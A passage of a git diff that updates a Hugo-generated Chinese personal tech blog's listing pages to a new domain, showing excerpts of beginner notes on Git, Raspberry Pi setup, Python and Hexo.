Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>Git版本管理系统学习笔记</h2></header><div class=entry-content><p>git安装
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>Git版本管理系统学习笔记</h2></header><div class=entry-content><p>git安装
 Windows和mac
 到git官网下载对应的安装文件，进行安装，下一步
 Linux
@@ -17,7 +17,7 @@
 git status #返回仓库的当前状态
 git diff 文件名 #查看当前文件的内容
 git log #查看历史记录，加上–pretty=oneline 查看commit id（版本号）
-git reset –hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本...</p></div><footer class=entry-footer><span title='2021-06-16 14:51:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Git版本管理系统学习笔记" href=https://xiaochenabc123.github.io/posts/30/></a></article><article class=post-entry><header class=entry-header><h2>配置树莓派笔记</h2></header><div class=entry-content><p>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
+git reset –hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本...</p></div><footer class=entry-footer><span title='2021-06-16 14:51:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Git版本管理系统学习笔记" href=https://chenjunlinabc.github.io/posts/30/></a></article><article class=post-entry><header class=entry-header><h2>配置树莓派笔记</h2></header><div class=entry-content><p>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
 现改名为Raspberry Pi OS
 工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc
 修改为国内镜像源
@@ -27,20 +27,14 @@
 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
-ssid="wifi的名字"
-psk="wifi的密码"
-key_mgmt=WPA-PSK
-priority=1
-}
-update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid="wifi的名字" psk="wifi的密码" key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
 修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启
 vnc服务
 sudo raspi-config
-依次操作：Interfacing Options -> VNC -> Yes...</p></div><footer class=entry-footer><span title='2021-06-16 14:48:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 配置树莓派笔记" href=https://xiaochenabc123.github.io/posts/29/></a></article><article class=post-entry><header class=entry-header><h2>python基础语法笔记</h2></header><div class=entry-content><p>安装python
+依次操作：Interfacing Options -> VNC -> Yes...</p></div><footer class=entry-footer><span title='2021-06-16 14:48:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 配置树莓派笔记" href=https://chenjunlinabc.github.io/posts/29/></a></article><article class=post-entry><header class=entry-header><h2>python基础语法笔记</h2></header><div class=entry-content><p>安装python
 推荐安装anaconda3（linux）
 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh
 dash Anaconda3-2019.10-Linux-x86_64.sh
@@ -79,7 +73,7 @@
 python能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量
 python可以处理整型任意大小的整数，也可以使用二进制代表整数、
 浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示
-字符串是使用"“和’‘括起来的任意文本，‘‘或"“本身只是一种表示方式，不是字符串的一部分...</p></div><footer class=entry-footer><span title='2021-06-16 14:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python基础语法笔记" href=https://xiaochenabc123.github.io/posts/28/></a></article><article class=post-entry><header class=entry-header><h2>Python的一些神器的简单用法</h2></header><div class=entry-content><p>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
+字符串是使用"“和’‘括起来的任意文本，‘‘或"“本身只是一种表示方式，不是字符串的一部分...</p></div><footer class=entry-footer><span title='2021-06-16 14:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python基础语法笔记" href=https://chenjunlinabc.github.io/posts/28/></a></article><article class=post-entry><header class=entry-header><h2>Python的一些神器的简单用法</h2></header><div class=entry-content><p>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
 用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响
 当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题
 Windows pip install virtualenvwrapper-win
@@ -103,7 +97,7 @@
 临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas
 linux下
 配置永久使用
-cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip....</p></div><footer class=entry-footer><span title='2021-06-16 14:39:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Python的一些神器的简单用法" href=https://xiaochenabc123.github.io/posts/27/></a></article><article class=post-entry><header class=entry-header><h2>简单搭建一个hexo博客</h2></header><div class=entry-content><p>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
+cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip....</p></div><footer class=entry-footer><span title='2021-06-16 14:39:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Python的一些神器的简单用法" href=https://chenjunlinabc.github.io/posts/27/></a></article><article class=post-entry><header class=entry-header><h2>简单搭建一个hexo博客</h2></header><div class=entry-content><p>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
 apt install npm
 npm install hexo-cli -g
 hexo init blog
@@ -134,8 +128,8 @@
 打开主题配置文件
 修改sidebar.position的值
 left - 靠左放置 right - 靠右放置
-设置 头像...</p></div><footer class=entry-footer><span title='2021-06-16 14:36:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单搭建一个hexo博客" href=https://xiaochenabc123.github.io/posts/26/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/19/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/21/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+设置 头像...</p></div><footer class=entry-footer><span title='2021-06-16 14:36:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单搭建一个hexo博客" href=https://chenjunlinabc.github.io/posts/26/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/19/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/21/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/21/index.html b/page/21/index.html
index b7a1447b..f2456f68 100644
--- a/page/21/index.html
+++ b/page/21/index.html
@@ -1,45 +1,20 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>css常见布局</h2></header><div class=entry-content><p>居中布局
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>css常见布局</h2></header><div class=entry-content><p>居中布局
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
-text-align: center;
-// 父元素，文本内容居中对齐
-}
-.child{
-display: inline-block;
-// 子元素，行内块级元素
-}
